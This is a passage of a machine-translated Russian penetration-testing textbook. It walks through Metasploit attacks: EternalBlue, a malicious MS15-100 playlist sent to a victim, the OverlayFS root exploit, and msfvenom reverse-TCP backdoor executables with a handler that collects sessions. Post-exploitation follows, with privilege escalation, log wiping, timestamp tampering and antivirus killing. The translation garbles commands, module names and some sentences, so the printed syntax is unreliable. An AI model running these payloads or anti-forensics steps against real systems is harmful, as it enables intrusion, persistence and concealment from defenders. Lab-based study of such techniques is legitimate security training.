WINEPATH Это путь к папке WINE. если ты
установили WINE как root, путь
должно быть /root/.wine/drive_c/
LHOST Это машина, которая получит
Обратное TCP-соединение. Это наша Кали

Стр. Решебника 223

IP-адрес Linux.
LPORT Это порт прослушивания на LHOST. Мы
оставит значение по умолчанию (4444)

Теперь установите необходимые параметры:


эксплойт msf5 (windows / smb / eternalblue_doublepulsar)> установить PROCESSINJECT spoolsv.exe

эксплойт msf5 (windows / smb / eternalblue_doublepulsar)> установить RHOSTS 192.168.127.143

эксплойт msf5 (windows / smb / eternalblue_doublepulsar)> установить LHOST 192.168.127.139

Пора запустить эксплойт:


эксплойт msf5 (windows / smb / eternalblue_doublepulsar)> запустить
[*] Запущен обратный обработчик TCP на 192.168.127.139:4444
[*] 192.168.127.143:445 - Генерация XML-данных Eternalblue
[*] 192.168.127.143:445 - Генерация XML-данных Doublepulsar
[*] 192.168.127.143:445 - Генерация DLL полезной нагрузки для Doublepulsar
[*] 192.168.127.143:445 - Запись DLL в /root/.wine/drive_c/eternal11.dll
[*] 192.168.127.143:445 - Запуск Eternalblue ...
[+] 192.168.127.143:445 - Pwned! Eternalblue успеха!
[*] 192.168.127.143:445 - Запуск Doublepulsar ...
[*] Отправка этапа (176195 байт) на 192.168.127.143
[*] Сеанс Meterpreter 1 открыт (192.168.127.139:4444 -> 192.168.127.143:49418) 24 сентября 2020 г.
03:52:03 -0400
[+] 192.168.127.143:445 - Удаленный код выполнен ... 3 ... 2 ... 1 ...

https://translate.googleusercontent.com/translate_f 168/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
meterpreter>
Если вы видите приглашение [meterpreter>], это означает, что эксплуатация
успешный. Мы рассмотрим Meterpreter в следующей главе.
Использование Windows Media Center (WMC): MS15-100
Уязвимость
Это клиентская эксплуатация. Сгенерируем вредоносный файл, отправим по адресу
жертва, и после казни она даст нам доступ. Эта уязвимость
был обнаружен в 2015 году в Windows Media Center (WMC) на Windows 7
и 8. Медиацентру может быть передан вредоносный файл списка воспроизведения (* .mcl).
содержащий ссылку на вредоносный исполняемый файл. Затем WMC загружает и
запускает вредоносный файл.
Запустите Metasploit Console:
корень @ kali: ~ # msfconsole

Стр. Решебника 224

Используйте соответствующий эксплойт:


msf5> используйте эксплойт / windows / fileformat / ms15_100_mcl_exe
Если полезная нагрузка не установлена ​по умолчанию, установите для нее значение Meterpreter Reverse TCP:
эксплойт msf5 (windows / fileformat / ms15_100_mcl_exe)> установить полезную нагрузку
окна / meterpreter / reverse_tcp
Проверьте доступные параметры:
эксплойт msf5 (windows / fileformat / ms15_100_mcl_exe)> параметры
В следующей таблице перечислены важные параметры:

Вариант Описание
ИМЯ ФАЙЛА Это имя файла MCL; выходной файл
будет отправлено жертве с помощью любого Социального
Инженерные средства.
ИМЯ ФАЙЛА Это имя файла EXE-бэкдора.
Metasploit опубликует этот файл как сетевой ресурс.
(SMB / 445). WMC у жертвы скачает
и запустите этот файл.
LHOST Это машина, которая получит обратный
Подключение TCP Meterpreter. В нашем примере это
наша машина Kali.
LPORT Это порт прослушивания на LHOST.

Теперь установите необходимые параметры:


эксплойт msf5 (windows / fileformat / ms15_100_mcl_exe)> установить FILENAME songs.mcl

эксплойт msf5 (windows / fileformat / ms15_100_mcl_exe)> установить FILE_NAME backdoor.exe

эксплойт msf5 (windows / fileformat / ms15_100_mcl_exe)> установить LHOST 192.168.127.139

эксплойт msf5 (windows / fileformat / ms15_100_mcl_exe)> установить LPORT 5555

Теперь вы можете запустить эксплойт:


эксплойт msf5 (windows / fileformat / ms15_100_mcl_exe)> запустить
[*] Эксплойт работает как фоновое задание 0.
[*] Эксплойт завершен, но сеанс не создан.

[*] Запущен обратный обработчик TCP на 192.168.127.139:5555

https://translate.googleusercontent.com/translate_f 169/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Стр. Решебника 225

эксплойт msf5 (windows / fileformat / ms15_100_mcl_exe)> [*] Запущен служебный прослушиватель на


192.168.127.139:445
[*] Сервер запущен.
[*] Вредоносный исполняемый файл в папке \\ 192.168.127.139 \ MXyoJF \ backdoor.exe ...
[*] Создание файла song.mcl ...
[+] Songs.mcl хранится в /root/.msf4/local/songs.mcl

Как только жертва получит файл songs.mcl , он будет выглядеть следующим образом:

Если они дважды щелкните по нему, он загрузит и запустит файл backdoor.exe,


что приводит к обратному сеансу TCP Meterpreter:
эксплойт msf5 (windows / fileformat / ms15_100_mcl_exe)>
[*] Отправка этапа (176195 байт) на 192.168.127.143
[*] Сессия Meterpreter 1 открыта (192.168.127.139:5555 -> 192.168.127.143:49499) в 2020-09-24
06:06:25 -0400

эксплойт msf5 (windows / fileformat / ms15_100_mcl_exe)> sessions -i 1


[*] Начало взаимодействия с 1 ...

meterpreter>

Использование OverlayFS в ядре Linux <3.19.0 (CVE-2015-


1328)
Это локальное повышение привилегий; у вас должен быть доступ с низким уровнем привилегий к
уязвимая система перед запуском эксплойта. Используя уязвимость,
вы получите доступ корневого уровня.
Согласно NIST, « реализация overlayfs в Linux (также известном как Linux
kernel) до версии 3.19.0-21.21 в Ubuntu до 15.04 не
правильно проверьте права на создание файлов в верхнем каталоге файловой системы,

Стр. Решебника 226

который позволяет локальным пользователям получать root-доступ, используя конфигурацию


в котором overlayfs разрешен в произвольном пространстве имен монтирования ».
[Источник: https://nvd.nist.gov/vuln/detail/CVE-2015-1328]
OverlayFS - это файловая система, которая может временно прозрачно объединять два
разные каталоги, накладывая один на другой. Цель состоит в том, чтобы
https://translate.googleusercontent.com/translate_f 170/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
разрешить изменение файлов только для чтения. Однако из-за недостаточной проверки
разрешения, пользователь с низкими привилегиями может перекрыть каталог, для которого он
не иметь права записи, а затем изменять его содержимое. Эта уязвимость была
исправлено в ядре Linux после версии 3.19.0.
В Exploit-DB доступен общедоступный эксплойт (www.exploit-db.com ) с
серийный номер 37292. А можно посмотреть исходный код эксплойта (на C)
в: https://www.exploit-db.com/exploits/37292
Мы продемонстрируем эксплуатацию на уязвимой машине, известной как
Тайфун, доступен по адресу: https://www.vulnhub.com/entry/typhoon-102,267/
Во- первых, подключить машину Typhoon с помощью SSH (Имя пользователя: тайфун -
Пароль: 789456123 ):

Стр. Решебника 227

https://translate.googleusercontent.com/translate_f 171/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
Мы можем проверить версию ядра Linux с помощью команды uname -a:

Мы видим, что версия ядра Linux - 3.13.0-32. Кроме того, мы можем


проверьте версию Ubuntu с помощью команды lsb_release:

Версия Ubuntu - 14.04.1. И как мы помним из описания выше,


Ядро Linux до 3.19.0 в Ubuntu до 15.04 уязвимо.
Мы можем скачать исходный код эксплойта следующим образом:

Стр. Решебника 228

Далее нам нужно скомпилировать код с помощью компилятора GCC:

Теперь мы можем использовать эксплойт и получить root-доступ:

https://translate.googleusercontent.com/translate_f 172/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Стр. Решебника 230


229

Модуль 08 Постэксплуатация.
Постэксплуатация - это этап, который включает в себя все тактики и уловки хакера.
работает после успешного использования системы. Имея прочный пост-
навыки эксплуатации необходимы любому профессиональному тестеру на проникновение, чтобы
получить максимальную отдачу от жертвы. Обладая постэксплуатационными навыками, мы знаем, как
перемещаться по системе жертвы, извлекать конфиденциальную информацию, оставаться скрытым и
незамеченными, имеют постоянный доступ и проникают дальше в сеть.
Качество теста на проникновение оценивается по качеству его пост-
тактика эксплуатации, приемы и исполнение. Постэксплуатационная работа
что определяет уровень нарушения конфиденциальности, целостности и
доступность деловой информации. Таким образом, это жизненно важно для любого проникновения.
тестировщик или член красной команды, чтобы улучшить свои навыки после эксплуатации.
К сожалению, многие из этих консультантов не останавливаются на уязвимостях и
находки, обнаруженные ранее во время помолвки; немногие другие действительно
использовать некоторые из этих уязвимостей и проникнуть в несколько систем. Тем не мение,
мало тех, кто оттачивает свои знания и навыки для достижения
максимальные результаты на постэксплуатационном этапе.
Давайте быстро резюмируем, что на самом деле должен делать тестер на проникновение.
в момент, когда они получают удаленное управление, то есть оболочку, над одной системой:

Сбор информации : начните с получения как можно большего количества информации.


возможно о скомпрометированной системе. Навигация по пользователю
учетные записи, файловая система, процессы, установленные приложения, привилегии,
и т.п.
Повышение привилегий : используйте локальное использование, чтобы получить максимальную отда
возможные привилегии. Ваша цель - стать СИСТЕМОЙ, а это
выше Администратора - в ОС Windows или Рут в
ОС UNIX / Linux.
Покрытие следов: скройте все журналы, следы и подсказки, которые указывают на ваше
эксплуатация и наличие в системе. Это могут быть журналы событий
в системе Windows или журналы в каталоге / var / log / в
Система UNIX / Linux.
Бэкдор системы : установите постоянный скрытый бэкдор, чтобы
что у вас есть постоянный доступ к скомпрометированной системе.
Вы должны иметь возможность подключиться к нему в любое время, даже после

Стр. Решебника 231

перезагружать.
Доступ к файлам данных : загрузите все файлы данных, доступные на
система. Файлы данных могут быть документами, мультимедийными файлами, базами данных,
исходные коды, кешированные веб-файлы и т. д. Эти файлы данных содержат

https://translate.googleusercontent.com/translate_f 173/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
конфиденциальная деловая информация; и они являются вашим доказательством
успешное проникновение.
Поворот и ретрансляция : вот где вы используете скомпрометированный
система как точка, чтобы глубже проникнуть в целевую сеть. Через
к этой единственной системе вы можете подключиться к другим системам и ресурсам
которые иначе недоступны прямо с вашей стороны. Это это
конкретный шаг, который я собираюсь изложить ниже!

Есть много инструментов, которые хакер может использовать для постэксплуатации. Однако один из
лучшие инструменты дают нам универсальный пакет для обработки постэксплуатационных
Meterpreter - The Met asploit Int erpreter .
О Meterpreter
Meterpreter - это полезная нагрузка - набор машинных инструкций,
особенность и многоцелевой. В отличие от традиционных полезных нагрузок, порождающих оболочку,
Meterpreter был создан, чтобы дать злоумышленникам и пентестерам продвинутый пост-
эксплуатационные манипуляции. Ниже приведены его основные характеристики:

Это не записано на жестком диске; скорее, он вводится в память


напрямую и остается в памяти во время работы. Преимущество
что он не обнаруживается при экспертизе жесткого диска. Недостаток здесь
в том, что он пропадает после перезагрузки. Чтобы иметь Meterpreter
соединение, которое сохраняется после перезагрузки, необходимо
создать бэкдор на жестком диске с помощью Meterpreter.
Он не загружается в память как отдельный процесс, а скорее
внедряется как DLL в законный запущенный процесс. Это означает
что он не обнаруживается при перечислении запущенных процессов.
Он внедряется в запущенный процесс с помощью Reflective DLL Injection.
процесс. Отражательная инъекция - это когда процесс загружает DLL, которая
уже существует в памяти, в отличие от загрузки DLL из
жесткий диск. Это означает, что Meterpreter не зарегистрирован
Операционная система как загруженная DLL. Таким образом, список загруженных DLL -
в рамках любого криминалистического анализа - не обнаружит Meterpreter.
Meterpreter расширяется в режиме реального времени. Это означает, что у вас есть

Стр. Решебника 232

сеанс Meterpreter с целью, вы можете загрузить дополнительные


библиотеки, расширяющие функциональность и добавляющие дополнительные команды
без потери сеанса.
Несмотря на то, что он вводится в определенный запущенный процесс, вы можете
переходить к другим процессам в режиме реального времени, не теряя
сеанс. Переход на другой процесс даст определенные привилегии
связанные с этим процессом, включая токены доступа и
буферы ввода / вывода.
Несмотря на то, что имеется «одиночный» полезный груз Meterpreter, лучше всего использовать Meterpreter.
в качестве «поэтапной» полезной нагрузки. Meterpreter с одной полезной нагрузкой работает только в немногих
ограниченные эксплойты; однако Meterpreter с поэтапной нагрузкой работает в большинстве
подвиги.
Ниже приведен список распространенных полезных нагрузок одного Meterpreter:

окна / meterpreter_bind_tcp
окна / meterpreter_reverse_tcp
окна / meterpreter_reverse_http
А вот список распространенных полезных нагрузок поэтапного Meterpreter:
https://translate.googleusercontent.com/translate_f 174/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

окна / meterpreter / bind_tcp


окна / meterpreter / reverse_tcp
окна / meterpreter / reverse_http
Обратите внимание на разницу во второй косой черте (/) в поэтапной полезной нагрузке как
в отличие от подчеркивания (_) в отдельных полезных данных. В одиночном Meterpreter
полезные нагрузки, ядро, а также заглушка, которая инициирует соединение (привязка или
reverse) находятся в одной и той же полезной нагрузке. С другой стороны, в постановочном
Полезной нагрузки Meterpreter, ядро ​отделено от инициирующего соединение
заглушка (что называется Stager).
Кроме того, несмотря на то, что полезная нагрузка Meterpreter предназначена для внедрения в
система-жертва, использующая эксплойт, она также может быть встроена в автономный
запускаемый файл. В Metasploit есть инструмент под названием Msfvenom, который может обернуть любой
полезные данные по вашему выбору в исполняемый формат. Msfvenom может генерировать
EXE, ELF, WAR, PHP и т. Д., Файлы, содержащие Meterpreter внутри.
Если мы посмотрим на полезную нагрузку Staged Meterpreter, мы можем резюмировать, как он
работает следующим образом:

Стр. Решебника 233

1. Эксплойт отправляет Stager, небольшой код, который получает


внедряется в уязвимую систему и начинает выполнение. В
Stager может быть привязанным или обратным, и он может быть через TCP или через
HTTP / с. Целью Stager является создание нового
подключения и загрузите Staged Meterpreter.
2. Stager подключается к машине злоумышленника и загружает
первый этап Meterpreter (основная услуга Meterpreter). Он их вводит
первый этап как рефлексивная DLL в работающий процесс
(наиболее часто используется rundll32.exe).
3. Ядро Meterpreter инициализируется и связывается с
Метасплоит на машине злоумышленника. Он готовится принять
дополнительные библиотеки или расширения, если таковые имеются.
4. С этого момента Meterpreter готов принимать команды от
злоумышленник, выполните эти команды и вернет результат.

Как использовать Meterpreter


Есть два основных способа использования Meterpreter. Первый - отправить его как
полезная нагрузка при эксплуатации уязвимой системы. Второй - создать его
как исполняемый файл и доставить его жертве через социальные сети.
инженерные средства. Ниже мы обсудим эти два метода вместе с
их достоинства и недостатки:
Первый метод: Meterpreter как полезная нагрузка
Изначально Meterpreter представляет собой поэтапную полезную нагрузку. Его можно использовать при эксплуат
удаленная уязвимость, позволяющая удаленное выполнение кода. Обязательное условие здесь
наличие уязвимости (например, переполнение буфера) в удаленной системе
который восприимчив к удаленному выполнению кода (RCE). Используя Metasploit,
Meterpreter можно выбрать в качестве полезной нагрузки при запуске эксплойта. Здесь
несколько примеров:
msf5 (эксплойт ...)> установить PAYLOAD windows / meterpreter / bind_tcp
msf5 (эксплойт ...)> установить PAYLOAD windows / meterpreter / reverse_tcp
msf5 (эксплойт ...)> установить PAYLOAD windows / meterpreter / reverse_http

Последняя часть каждого из трех приведенных выше примеров - т.е. / bind_tcp,


/ reverse / tcp и / reverse_http - это полезная нагрузка stager, которая будет передавать
https://translate.googleusercontent.com/translate_f 175/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

поэтапная полезная нагрузка, т. е. Materpreter.


Как только вы запустите эксплойт и загрузится Meterpreter, вы увидите
следующая подсказка:

Стр. Решебника 234

meterpreter>

Второй способ: Meterpreter как исполняемый файл


Когда первый метод не подходит, как в случае, когда удаленный
жертва не уязвима для удаленного выполнения кода, тогда мы можем сгенерировать
Meterpreter как исполняемый файл. Затем файл будет доставлен на удаленный
жертва с помощью некоторых средств социальной инженерии. Один из способов - отправить его прикрепленным
на фишинговое письмо и попросите пользователя запустить его.
Metasploit поставляется с инструментом msfvenom, предназначенным для генерации полезной нагрузки.
как отдельные исполняемые файлы. Ниже приведены несколько примеров создания
Meterpreter с Reverse TCP stager как EXE (исполняемый файл Windows), WAR
(Веб-архив) и файлы ELF. Однако для того, чтобы успешно создать
Сеанс Meterpreter, использующий эти файлы, нам нужно будет настроить обработчик, который
слушает и получает соединение:

Создание исполняемого файла Windows с помощью Meterpreter

msfvenom -p windows / meterpreter / reverse_tcp LHOST = [Атакующий


IP] LPORT = 4444 -f exe -o /tmp/my_payload.exe

Сгенерированный exe-файл можно затем доставить на компьютер Windows;


и как только пользователь дважды щелкает по нему, он пытается установить
связь с Metasploit.
Создание веб-архива (WAR) с помощью Meterpreter

msfvenom -p java / meterpreter / reverse_tcp LHOST = [IP-адрес злоумышленника]


LPORT = 4444 -f war -o /tmp/my_payload.war

Затем файл war можно загрузить на веб-сервер, на котором работает Java.


приложение (например, Apache Tomcat). И как только файл ссылается на
URL-адрес, он запускается и пытается установить соединение с
Мецплоит.

Создание файла ELF с помощью Meterpreter

msfvenom -p linux / x64 / meterpreter / reverse_tcp LHOST = [Атакующий


IP] LPORT = 4444 -f elf -o / tmp / my_payload

Затем файл ELF (Executable and Linking Format) может быть доставлен в

Стр. Решебника 235

машина Linux.
Обратите внимание, что лучше использовать обратный TCP или обратный HTTP, когда
https://translate.googleusercontent.com/translate_f 176/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
создание автономного исполняемого файла вместо Bind TCP или Bind HTTP. В
причина этого в том, что вы не можете быть уверены, когда жертва выполнит
файл. Лучше установить слушателя (обработчика) на своей стороне и дождаться
соединение, чем продолжать попытки соединиться с жертвой.
Однако для установления соединения с Meterpreter существует
дополнительный шаг, который нам нужно сделать перед отправкой исполняемого файла в
потерпевший; и этот шаг - настройка обработчика на нашей машине Metasploit.
Metasploit поставляется с модулем Multi Hander (эксплойт / мульти / обработчик), который
может получать соединения для разных полезных нагрузок с разных платформ. Из
в MsfConsole введите следующие команды:
msf5> используйте эксплойт / мульти / обработчик
msf5 exploit (multi / handler)> установить PAYLOAD windows / meterpreter / reverse_tcp
msf5 exploit (multi / handler)> установить LHOST [IP атакующего]
msf5 exploit (multi / handler)> установить LPORT 4444
msf5 exploit (multi / handler)> установить ExitOnSession false
эксплойт msf5 (мульти / обработчик)> эксплойт -j -z

Обратите внимание, что конфигурация Multi Handler должна соответствовать


конфигурация исполняемого файла. То есть полезная нагрузка, LHOST и
LPORT должен быть идентичен таковому в исполняемом файле, созданном с помощью
Msfvenom.
Переменная ExitOnSession означает, что обработчик остановится после первого
установленный сеанс завершен. По умолчанию это правда; это означает, что только
обрабатывается один сеанс Meterpreter. Однако, если вы хотите получить несколько
сеансов от нескольких жертв, вам необходимо установить для этой переменной значение false.
Наконец, параметры «-j» и «-z», данные эксплойту команды, делают
обработчик работает в фоновом режиме как задание. Это позволяет консоли делать
другие задачи в ожидании сеансов.
Постэксплуатация с помощью Meterpreter
Мы рассмотрим структурированную методологию постэксплуатации с
Meterpreter. Как было сказано ранее, постэксплуатация должна проводиться систематически.
порядок. Мы хотим избежать обнаружения, поддерживать доступ и получать максимальную отдачу от
скомпрометированная машина. В следующих подразделах объясняется каждый
фаза постэксплуатационного процесса.

Стр. Решебника 236

Получение информации
Когда мы врываемся в систему и получаем сеанс Meterpreter, первый шаг
состоит в том, чтобы изучить систему и получить как можно больше информации. Meterpreter
предоставляет встроенные команды для исследования целевой системы. Кроме того,
в категории «пост» есть модули, которые также помогают в получении
Информация. Разница между командами и модулями в том, что
команды являются встроенными функциями ядра Meterpreter и являются частью
полезной нагрузки в системе жертвы. С другой стороны, модули размещаются
в системе Metasploit и взаимодействовать во время выполнения с ядром Meterpreter, чтобы
выполнять предусмотренные функции. Команды Meterpreter набираются прямо в
Приглашение Meterpreter, в то время как модули должны использоваться из Metasploit
незамедлительный.
Команды
> sysinfo

https://translate.googleusercontent.com/translate_f 177/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Он дает вам системную информацию ( версия ОС, архитектура, домен и т . Д.)


жертвы.

> получить

Он дает вам имя пользователя, связанное с процессом Meterpreter.

> getpid

Стр. Решебника 237

Он дает вам идентификатор процесса, в который внедряется Meterpreter.

> пс
В нем перечислены все запущенные процессы вместе с их PID и PPID ( родительский
Идентификатор процесса ). Проверяя PID предыдущей команды, вы можете узнать
имя процесса. (В нашем примере Meterpreter внедряется в rundll32.exe
процесс)

https://translate.googleusercontent.com/translate_f 178/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Стр. Решебника 238

> ipconfig
> ifconfig
Он показывает IP-конфигурацию системы-жертвы. Инструменты Meterpreter
обе команды, ipconfig и ifconfig, идентичны. Таким образом, вы можете выбрать
в зависимости от того, с чем вы знакомы.

> маршрут

Стр. Решебника 239

https://translate.googleusercontent.com/translate_f 179/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Он показывает вам таблицу маршрутизации в системе-жертве.

> arp
Он печатает таблицу ARP в системе-жертве.

Стр. Решебника 240

https://translate.googleusercontent.com/translate_f 180/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

> netstat
Он печатает информацию о сетевых подключениях и прослушивающих сокетах. в
пример ниже, мы видим, что процесс rundll32.exe создает сеть
подключение к нашему Kali Linux.

Стр. Решебника 241

> enumdesktops
В нем перечислены все доступные рабочие столы на целевых жертвах.
https://translate.googleusercontent.com/translate_f 181/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Стр. Решебника 242

> getdesktop
Он показывает текущий рабочий стол, связанный с текущим процессом.
В следующем примере показан рабочий стол, связанный с процессом.
rundll32.exe; это рабочий стол по умолчанию (D) на Windows Station 0 (W) в
Сессия 0:

Ниже приведен еще один пример, в котором процесс, в котором Meterpreter


запущен winlogon.exe; это рабочий стол Winlogon (W) на Windows Station
0 (W) в Сессии 1:

> местное время


Он печатает текущее местное время в системе жертвы.

Стр. Решебника 243

https://translate.googleusercontent.com/translate_f 182/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

> простой
Он печатает время (в часах, минутах и ​секундах), в течение которого жертва
система простаивала.

> скриншот
Он делает снимок экрана рабочего стола текущей жертвы и сохраняет его как
изображение в каталоге / tmp /.

Модули
Наиболее часто используемые модули - это скрипты Ruby в Metasploit.
Фреймворк. Чтобы запустить любой из них, их нужно использовать не из

Стр. Решебника 244

Сессия Meterpreter, но из консоли Metasploit. Чтобы вернуться в MSF


Консоль, вам нужно ввести команду background внутри Meterpreter:

Обратите внимание, что при использовании любого из модулей Post вам необходимо:
настроить определенные параметры. Самый важный из которых - СЕССИЯ.
параметр, указывающий на идентификатор сеанса Meterpreter. Узнать ID
вашего сеанса, вы всегда можете набрать команду 'sessions':

https://translate.googleusercontent.com/translate_f 183/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

В наших примерах мы будем использовать СЕССИЯ 2.


Ниже приведены важные постэксплуатационные модули для информации.
встреча.
сообщение / окна / сбор / enum_applications
Этот модуль выведет список установленных приложений в системе жертвы:

Стр. Решебника 246


245

сообщение / окна / сбор / checkvm


Этот модуль проверяет, является ли система жертвы виртуальной машиной или нет. Это
событие пытается идентифицировать базовую платформу виртуализации (например,
VMware, VirtualBox и т. Д.).

сообщение / окна / сбор / screen_spy


Этот модуль позволяет делать определенное количество снимков экрана, сделанных в
указанный интервал. Параметр COUNT определяет количество снимков экрана,
https://translate.googleusercontent.com/translate_f 184/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
а параметр DELAY указывает интервал между снимками экрана.
Кроме того, вы можете просматривать эти скриншоты в реальном времени, когда они снимаются.
если установить для параметра VIEW_SCREENSHOTS значение true .

Стр. Решебника 248


247

сообщение / окна / сбор / arp_scanner

https://translate.googleusercontent.com/translate_f 185/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
Стр. Решебника 249

Он сканирует сеть, прилегающую к системе-жертве, на наличие активных хостов, используя


Метод ARP.

Стр. Решебника 250

Повышение привилегий
После сбора информации о нашей системе-жертве пришло время попытаться
повысить наши привилегии. Meterpreter предоставляет одну встроенную команду -
getystem - и несколько модулей, которые пытаются получить такие же высокие привилегии, как
возможный. Мы обсудим команду и модули в следующих
подразделы:
Команда: getsystem
Команда getsystem Meterpreter пытается получить привилегию SYSTEM.
(что выше, чем у администратора в Windows) через одну из
следующие три техники:

https://translate.googleusercontent.com/translate_f 186/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
1. Именованный канал выдачи себя за другое лицо (в памяти / у администратора)
Канал - это функция ОС, которая действует как канал между двумя процессами.
чтобы они общались (ввод / вывод). Одна из характеристик
каналов в Windows заключается в том, что один процесс на одном конце канала может
олицетворять другой процесс, подключенный к другому концу. Измеритель -
процесс с низким уровнем привилегий - создает канал, а затем запрашивает
определенный процесс с привилегией SYSTEM для подключения к другому концу
труба. После подключения этого системного процесса Meterpreter может использовать
контекст безопасности этого процесса, чтобы имитировать его.

В этом методе используется системный процесс svchost.exe.


(Узел службы) путем создания службы, которая вызывает cmd.exe и подключается к
труба.

2. Имитация именованного канала (капельница / администратор)

Этот метод аналогичен первому, с точки зрения создания трубы и


подключение к нему системного процесса. Однако вместо использования
хост службы (svchost.exe), Meterpreter помещает файл DLL на
disk и запланируйте его запуск с помощью rundll32.exe.

В отличие от первой техники, которая полностью выполняется в памяти, эта


техника что-то записывает на диск.
3. Дублирование токенов (в памяти / у администратора)

Этот метод пытается найти службу, работающую как SYSTEM.

Стр. Решебника 251

и в то же время Meterpreter (запущенный как пользователь) имеет разрешение на


ввести в него. Как только он находит такую ​службу, он внедряет библиотеку DLL (elevator.dll).
используя Reflective DLL Injection. Затем файл elevator.dll получает
Токен SYSTEM и передает его в Meterpreter.
На следующем изображении показано, как можно использовать getsystem и как вывод
выглядит так, если подъем прошел успешно:

Однако иногда getystem не работает из-за проблем с разрешениями. В


В этом случае вы получите следующую ошибку:

Затем вы можете использовать постэксплуатационные модули, чтобы повысить свои привилегии как
описано в следующем разделе.
модули
Metasploit содержит множество модулей для локального повышения привилегий. Чтобы
знать, какие из них применимы к вашей системе-жертве, Metasploit предоставляет
https://translate.googleusercontent.com/translate_f 187/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
Почтовый модуль только для такой разведки. Этот модуль
сообщение / multi / recon / local_exploit_suggester.

Стр. Решебника 252

Давайте запустим этот модуль в нашем установленном сеансе Meterpreter с


Windows 7:

https://translate.googleusercontent.com/translate_f 188/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Стр. Решебника 253

Мы видим, что жертва уязвима для следующих эксплойтов:

эксплойт / Windows / локальный / bypassuac_eventvwr

эксплойт / окна / локальные / ikeext_service

эксплойт / windows / local / ms10_092_schelevator

эксплойт / windows / local / ms13_053_schlamperei

эксплойт / windows / local / ms13_081_track_popup_menu

эксплойт / windows / local / ms14_058_track_popup_menu

эксплойт / windows / local / ms15_051_client_copy_image

эксплойт / окна / локальный / ntusermndragover

эксплойт / окна / локальные / ppr_flatten_rec

Мы продемонстрируем использование трех модулей следующим образом:


эксплойт / Windows / локальный / bypassuac_eventvwr
Контроль учетных записей пользователей (UAC) - это функция безопасности, ограничивающая
привилегии программных приложений до тех пор, пока это не будет явно разрешено пользователем.
Обойти UAC можно, запустив процесс с флагом UAC.
выключено. Затем этот процесс можно использовать для преобразования в SYSTEM. Этот модуль
делает именно это; однако это делается с помощью ключа реестра, который запускает
оболочку всякий раз, когда запускается средство просмотра событий Windows.

Стр. Решебника 255


254

https://translate.googleusercontent.com/translate_f 189/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

эксплойт / windows / local / ms13_081_track_popup_menu


Драйвер устройства режима ядра ( win32k.sys ) неустановленной Windows Vista, 7
и системы 2008 года содержат несколько уязвимостей; один из них ( CVE-2013-
3881 ) позволяет локальное повышение привилегий. Эта уязвимость называется NULL.
Уязвимость страницы , и она используется, когда функция
TrackPopupMenuEx () передает NULL указатель на MNEndMenuState ()
функция.

Стр. Решебника 257


256

эксплойт / windows / local / ms15_051_client_copy_image


Это эксплуатирует уязвимость CVE-2015-1701, которая существует в том, как ядро
драйвер режима win32k.sys создает окно. Процесс создания окна
состоит из различных шагов как в пользовательском режиме, так и в режиме ядра. А

https://translate.googleusercontent.com/translate_f 190/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
Главный шаг - вызвать
злоумышленник может функцию
заменить копирования
эту функциюизображения в пользовательском
другой, которая в конечном итогережиме. Однако
выполняется на
режим ядра. Успешная эксплуатация приводит к повышению привилегий.

Стр. Решебника 259


258

Покрытие следов
Важным шагом в постэксплуатации является сокрытие ваших следов и прикрытия.
следы вашей деятельности. Это можно сделать, удалив журналы, в которых отображаются ваши
действия и изменить временные метки ваших созданных файлов. Кроме того, этот шаг
также включает в себя убийство или отключение антивирусных программ. Есть три
команды и модули, которые нам здесь помогают. А это:

Команда clearev
Команда timestomp
Модуль / post / windows / manage / killav
Команда clearev
Базовая служба Meterpreter включает команду, которая очищает все журналы в системе.
Средство просмотра событий Windows. Windows классифицирует журналы событий на три
категории: журналы приложений, журналы безопасности и системные журналы.

https://translate.googleusercontent.com/translate_f 191/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение

Стр. Решебника 260

Вы можете запустить команду clearev в любое время во время сеанса, и она очистит
из всех журналов событий.

После того, как вы запустите команду, в средстве просмотра событий будет 0 журналов:

Команда timestomp
Эта команда позволяет вам изменять временные метки, связанные с любым файлом.
Файловые системы Windows, такие как FAT и NTFS, поддерживают три основных метки времени.
для каждого файла:

1. Отметка времени создания : это дата и время первоначального создания файла.


созданный.
2. Измененная отметка времени : это дата и время последней загрузки файла.
изменен.
3. Отметка времени доступа: это дата и время последнего доступа к файлу.
доступ.
Кроме того, файловая система NTFS включает четвертую метку времени под названием MFT.
Запись изменена . MFT расшифровывается как Master File Table, и это первый файл

Стр. Решебника 261

создается в разделе NTFS, и все файлы в этом разделе упоминаются


через MFT. Каждый файл имеет запись в MFT, содержащую мета
данные. MFT Entry Modified - это отметка времени, когда в последний раз файл MFT
запись была изменена.
На этапе постэксплуатации вам может потребоваться загрузить свой собственный
файлы (инструменты, сценарии и т. д.) и / или изменять существующие файлы или открывать их. Избегать
обнаружения, вам придется изменить связанные временные метки этих файлов.

https://translate.googleusercontent.com/translate_f 192/242
09.10.2021, 18:33 Сетевой этический взлом и тестирование на проникновение
Команда timestamp может изменять и изменять каждый из четырех
отметки времени, описанные выше. Ниже приводится справочное меню этого
команда:

В следующем примере показано, как отобразить текущие отметки времени


файл, revmeter2.exe :

Стр. Решебника 262

